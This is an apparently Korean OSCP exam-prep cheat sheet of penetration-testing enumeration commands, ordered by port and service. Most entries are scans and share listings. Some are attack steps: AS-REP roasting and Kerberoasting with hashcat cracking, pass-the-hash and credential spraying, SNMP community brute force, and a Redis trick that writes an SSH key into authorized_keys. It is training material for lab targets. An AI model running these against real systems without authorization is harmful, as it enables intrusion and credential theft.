[OSCP] Enumeration 2026ver
[OSCP] Enumeration 2026ver
© 2026 zzer0. All rights reserved. No part of this publication may be reproduced, modified, or distributed for commercial purposes without permission from the author.
Port Scanning
Host Discovery (빠르게 살아있는 호스트 확인)
1
sudo nmap -Pn -p- --min-rate 1000 -T4 -oN scans/initial_Pn <Target-IP>
Nmap TCP Full Port Scan
1
sudo nmap -Pn -p- --min-rate 1000 -T4 -oN scans/initial_Pn <Target-IP>
1
sudo nmap -Pn -p- --min-rate 500 --max-retries 3 -T4 -oN scans/initial_Pn <Target-IP>
Nmap Service/Script Scan (상세 스캔)
1
sudo nmap -p <open-ports-comma-separated> -sC -sV -oN scans/detailed <Target-IP>
Nmap UDP Scan (주요 포트 대상)
1
sudo nmap -sU --top-ports 20 <Target-IP>
Nmap NSE (취약점 스캔)
- 기본 취약점 스캔
1
nmap --script vuln <Target-IP> - SMB 취약점 스캔
1
nmap -p 139,445 --script "smb-vuln-*" <Target-IP>
- HTTP 서비스 상세 열거
1
nmap -p 80,443 --script http-enum <Target-IP>
- 특정 포트에서 배너 및 서비스 정보 상세 확인
1
nmap -sV --script banner,software-type <Target-IP>
Service Enumeration
Port 80, 443, 8080 - Web Discovery
Web Tech & Vulnerability Scan
- 웹 기술 스택 식별
1
whatweb http://<Target-IP>
- 일반적인 설정 오류 및 취약점 스캔
1
nikto -h http://<Target-IP>
Directory & Virtual Host Brute-forcing
- 디렉토리 브루트포스
1
feroxbuster -u http://<Target-IP>:<Port> -w /usr/share/wordlists/dirb/common.txt --filter-status 403,404
1
gobuster dir -u http://<Target-IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,sh,cgi -t 50
- 서브도메인
1
ffuf -u http://<Target-IP> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.target.local" -ac
CMS & Framework Specialized Enumeration
- Spring Boot Actuator
1 2
curl http://<Target-IP>/actuator/env curl http://<Target-IP>/actuator/sessions
- WordPress 스캔
1
wpscan --url http://<Target-IP> --enumerate p,t,u
Source Code & Hidden Files Extraction (GIT)
- Git Dumper
1
git-dumper http://<Target-IP>/.git/ git_repo/
- 커밋 로그에서 민감 정보(비밀번호 등) 검색
1
git log -p | grep -i -C 5 "password"
JAR/WAR & Config 파일 내 자격 검색
- 다운로드한 JAR/WAR 압축 해제 후 평문 자격 검색
1 2
unzip -d app/ app.jar grep -ri -E "password|secret|token|api[_-]?key" app/ 2>/dev/null
- 응답 본문에서 base64 의심 문자열 자동 디코딩
1
curl -s http://<Target-IP> | grep -oE '[A-Za-z0-9+/=]{20,}' | while read b; do echo "$b -> $(echo $b | base64 -d 2>/dev/null)"; done
Port 445, 139 - SMB Discovery (NetExec, Null Session, Shares)
Null Session & Anonymous Share Enumeration
- Null Session으로 정보 및 폴더 확인
1
nxc smb <Target-IP> -u "" -p "" --shares
- Anonymous Login으로 폴더 리스트 확인
1
smbclient -L \\\\<Target-IP> -N
Share Access & File Download
- 특정 공유 폴더 익명 접속
1
smbclient -N \\\\<Target-IP>\\<ShareName>
- 폴더 내 모든 파일을 현재 내 디렉토리로 일괄 다운로드 (mget)
1
smbclient //<Target-IP>/<ShareName> -N -c 'prompt OFF; recurse ON; mget *'
Comprehensive SMB Enumeration
- 전체 정보 덤프
1
enum4linux -a <Target-IP> - Guest 계정을 이용한 열거
1 2
nxc smb <Target-IP> -u "guest" -p "" --shares nxc smb <Target-IP> -u "guest" -p "" --users
- Guest 계정을 이용한 도메인 사용자 RID Brute-Force
1
nxc smb <Target-IP> -u "guest" -p "" --rid-brute
smbmap
- 권한 요약 + 재귀 파일 리스트
1 2 3
smbmap -H <Target-IP> -u guest -p '' smbmap -H <Target-IP> -u <User> -p '<Password>' -L smbmap -H <Target-IP> -u <User> -p '<Password>' -R
Port 111, 2049 - NFS (Network File System)
Anonymous Mount & Enumeration
- 공유 export 목록 확인
1
showmount -e <Target-IP> - 공유 마운트 (root_squash 비활성 시 SUID 셸 심기 가능)
1 2 3
sudo mkdir -p /mnt/nfs sudo mount -t nfs -o nolock <Target-IP>:/<share> /mnt/nfs ls -la /mnt/nfs
Port 389, 636, 3268 - LDAP Discovery (AD User/Group Enum, Ldapdomaindump)
Null Session & Guest Enumeration
- Null Session 사용자 열거
1
nxc ldap <Target-IP> -u '' -p '' --users
- Guest 계정 사용자 열거
1
nxc ldap <Target-IP> -u 'guest' -p '' --users
LDAP Domain Dump (전체 AD 정보 추출)
- ldapdomaindump를 이용한 도메인 전체 정보 추출
1
ldapdomaindump -u '<Domain>\<Username>' -p '<Password>' ldap://<Target-IP> -o ldap_dump/
Raw LDAP Query (ldapsearch)
- 명명 컨텍스트 확인
1
ldapsearch -H ldap://<Target-IP> -x -s base namingcontexts
- 사용자 + description 필드 조회 (description 안에 패스워드 종종)
1
ldapsearch -H ldap://<Target-IP> -x -b "DC=<dom>,DC=<tld>" "(objectclass=user)" sAMAccountName description
Port 88 - Kerberos (Kerbrute, AS-REP Roasting)
Kerberos User Enumeration (Kerbrute)
- Wordlist를 이용한 도메인 유저 열거
1
kerbrute userenum -d <DOMAIN.LOCAL> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc <Target-IP>
AS-REP Roasting (사전 인증 우회 해시 추출)
- AS-REP Roasting 공격 및 해시 덤프
1
impacket-GetNPUsers <DOMAIN.LOCAL>/ -request -usersfile user.txt -dc-ip <Target-IP> -outputfile hash.txt
- 추출된 해시 파일은 Exploitation 단계에서
hashcat -m 18200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt해시 크랙 진행
Kerberoasting (SPN 계정 TGS 해시 추출 — 자격 확보 후)
- 유효 자격으로 SPN 계정의 TGS 해시 추출
1 2
impacket-GetUserSPNs <DOMAIN.LOCAL>/<User>:'<Password>' -dc-ip <Target-IP> -request -outputfile spn.hash nxc ldap <Target-IP> -u <User> -p '<Password>' --kerberoasting spn.hash
- 크랙:
hashcat -m 13100 -a 0 spn.hash /usr/share/wordlists/rockyou.txt
Port 5985, 5986 - WinRM (Remote Management Discovery)
Credential Validation & Admin Check (NetExec)
- 도메인 계정 유효성 및 권한 확인
1
nxc winrm <Target-IP> -u <User> -p '<Password>'
- 로컬 계정일 경우 (–local-auth 필수)
1
nxc winrm <Target-IP> -u <User> -p '<Password>' --local-auth
- NTLM 해시를 획득했을 경우 (Pass-The-Hash)
1
nxc winrm <Target-IP> -u <User> -H '<NTLM-Hash>'
Port 135 - RPC Discovery (rpcclient, Enum4linux)
Anonymous RPC Connection (rpcclient)
- Null Session으로 RPC 클라이언트 접속 (-N: No password)
1
rpcclient -U "" -N <Target-IP>
- rpcclient 쉘 내부에서 사용하는 주요 명령어
1 2 3 4
rpcclient $> enumdomusers rpcclient $> enumdomgroups rpcclient $> lsaquery rpcclient $> lookupnames <user>
Automated RPC & SMB Enumeration (Enum4linux)
- enum4linux를 이용한 전체 정보 자동 덤프
1
enum4linux -a <Target-IP>
Port 1433, 3306, 5432 - Database Discovery (MSSQL, MySQL, PostgreSQL)
MSSQL (Port 1433)
- impacket을 이용한 MSSQL 접속 (도메인 계정일 경우 -windows-auth 옵션 사용)
1
impacket-mssqlclient <Domain>/<User>:'<Password>'@<Target-IP> -windows-auth
MySQL / MariaDB (Port 3306)
- 원격 MySQL 서버 접속
1
mysql -h <Target-IP> -u root -p
- 접속 후 주요 명령어
1 2 3 4
MySQL> show databases; MySQL> use <DatabaseName>; MySQL> show tables; MySQL> select * from <TableName>;
PostgreSQL (Port 5432)
- PostgreSQL 원격 접속
1
psql -h <Target-IP> -p 5432 -U postgres
- 접속 후 주요 명령어
1 2 3
postgres=# \list postgres=# \c <DB_Name> postgres=# \dt
Oracle (Port 1521)
- 전체 자동 스캔 (SID brute, TNS Listener, Account brute 통합)
1
odat all -s <Target-IP> -p 1521
Port 6379 - Redis (Anonymous Access)
- 익명 접속 + 정보 조회
1 2
redis-cli -h <Target-IP> redis-cli -h <Target-IP> info
- 익명 쓰기 가능 시 SSH key 주입 (foothold)
1 2 3 4 5
redis-cli -h <Target-IP> > config set dir /home/<user>/.ssh > config set dbfilename authorized_keys > set x "\n\n<your-pubkey>\n\n" > save
Port 873 - rsync (Anonymous Module Listing)
- 익명 모듈 목록 + 파일 리스트
1 2
rsync -av --list-only rsync://<Target-IP>/ rsync -av --list-only rsync://<Target-IP>/<module>/
Port 21 - FTP (Anonymous Login, File Listing)
Anonymous Login (익명 접속)
- 기본 FTP 접속 (anonymous / Enter)
1
ftp <Target-IP>
File Listing & Transfer
- FTP 쉘 내부 명령어
1 2 3 4 5
ftp> ls -la ftp> cd <Folder> ftp> binary ftp> get <File> ftp> mget *
Port 22 - SSH (Banner Grab, Key Auth Check)
Basic Connection & Key Authentication
- SSH 기본 접속
1
ssh <User>@<Target-IP>
- 개인키(id_rsa)를 이용한 접속 (권한 설정 필수)
1 2
chmod 600 id_rsa ssh -i id_rsa <User>@<Target-IP>
Legacy Encryption Bypass (구형 암호화 우회)
- 구형 서버 에러 우회 옵션 적용
1
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc <User>@<Target-IP>
SSH Credential Spraying (NetExec 활용)
- 유저명과 패스워드 리스트를 대입하여 유효한 계정 스캔
1
nxc ssh <Target-IP> -u <User> -p <Password_List> --continue-on-success
Port 161 UDP - SNMP (Community String Brute, Info Dump)
Community String Brute-forcing (onesixtyone)
- 커뮤니티 스트링 사전 대입 공격
1
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <Target-IP>
SNMP Info Dump & Extended Scripts (snmpwalk, snmp-check)
- 기본 시스템 정보 및 전체 트리 조회
1 2
snmpwalk -v 2c -c public <Target-IP> snmpbulkwalk -v2c -c public <Target-IP> .
- 읽기 쉬운 포맷으로 분류하여 자동화된 정보 덤프
1
snmp-check <Target-IP>
- 관리자가 임의로 추가해둔 커스텀 명령어/스크립트 내역 확인
1
snmpwalk -v 2c -c public <Target-IP> NET-SNMP-EXTEND-MIB::ns
- 커스텀 스크립트의 전체 출력 결과(Output)
1
snmpwalk -v 2c -c public <Target-IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
Port 3389 - RDP
NTLM Info & Vulnerability Check
- NTLM 정보 + 알려진 RDP 취약점 빠른 점검
1
nmap -p 3389 --script rdp-ntlm-info,rdp-vuln-ms12-020 <Target-IP>
Remote Desktop Connection & Drive Sharing (원격 데스크톱 접속 및 폴더 공유)
- RDP 접속
1
xfreerdp3 /u:<Username> /p:<Password> /v:<Target-IP> /cert:ignore /drive:share,/home/kali /clipboard
Port 53 - DNS (Zone Transfer, Subdomain Enum)
DNS Zone Transfer
- dig를 이용한 Zone Transfer 시도
1
dig axfr @<Target-IP> <domain.name>
- host 명령어를 이용한 Zone Transfer 시도
1
host -l <domain.name> <Target-IP>
Basic DNS Query & OSINT
- 도메인 등록 정보 조회
1
whois <domain.com>
- 특정 DNS 서버를 지정하여 일반 IP/TXT 레코드 쿼리
1
nslookup -type=any <domain.name> <Target-IP>
Port 23, 25 - Telnet & SMTP (User Enum)
Telnet (Port 23) - CLI Access & Banner Grabbing
- Telnet 기본 접속
1
telnet <Target-IP> 23
SMTP (Port 25) - User Enumeration
- 수동으로 유저 검증
1
nc -nv <Target-IP> 25 - SMTP 접속 후 명령어
1 2
VRFY root VRFY <Username>
- 유저 목록 자동화 스캔
1 2
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/names.txt -t <Target-IP> smtp-user-enum -M RCPT -U users.txt -t <Target-IP>
Exploit-DB 및 취약점 검색
Searchsploit (Local DB)
- 기본 키워드 검색
1
searchsploit <strings>
- 특정 Exploit 코드(-m)를 현재 작업 디렉토리로 복사
1
searchsploit -m <number> - Exploit 코드의 내용(주석, 사용법 등)을 터미널에서 출력
1
searchsploit -x <file>
Google Dorking & Online DB (CVE Details)
Google Dorking 핵심 키워드
1
2
<서비스명> <버전> exploit site:github.com
<서비스명> <버전> "CVE-...-..." site:github.com
Exploit-DB 사이트 내에서만 검색
1
site:exploit-db.com "Apache 2.4.49"
Nmap Vulnerability Scripts (NSE)
내장된 Nmap 스크립트 목록에서 특정 키워드 검색
1
2
ls -la /usr/share/nmap/scripts/ | grep -i "smb-vuln"
cat /usr/share/nmap/scripts/script.db | grep "ftp"
특정 스크립트의 기능 및 사용법(옵션) 확인
1
nmap --script-help <strings>
1
2
nmap --script-help "smb-vuln-*"
nmap --script-help "<keyword>"
NSE 실행
1
2
nmap -p <port> --script smb-vuln-ms17-010 <Target-IP>
nmap -p <port> --script ftp-anon,ftp-brute <Target-IP>
/etc/hosts 및 환경 설정 자동화
/etc/hosts 자동 등록 (NetExec 활용)
1
2
nxc smb <Target-IP> --generate-hosts-file hosts
sudo sh -c 'cat hosts >> /etc/hosts'
/etc/hosts 파일 수정
1
echo "<Target-IP> <Domain>" | sudo tee -a /etc/hosts
문자열 추출 및 데이터 가공 (String Extraction)
grep / awk / sed (로그 및 파일 내 키워드 추출)
비밀번호 문자열 추출
1
grep -i -r -E "password *[:=] *'"
특정 폴더 내의 모든 파일에서 대소문자 구분 없이(-i) ‘password’ 검색
1
grep -r -i "password" .
검색된 키워드의 근처 5줄(-C 5)을 출력 (git commit log)
1
git log -p | grep -i -C 5 "password"
find 명령어를 이용한 파일 찾기
1
find / -type f -name "local.txt" 2>/dev/null
유저 리스트 가공 및 정렬
- /etc/passwd 파일 등에서 구분자(:)를 기준으로 첫 번째 항목(계정명)만 추출하여 리스트 만들기
1
awk -F ":" '{print $1}' /etc/passwd > users.txt
This post is licensed under
CC BY 4.0
by the author.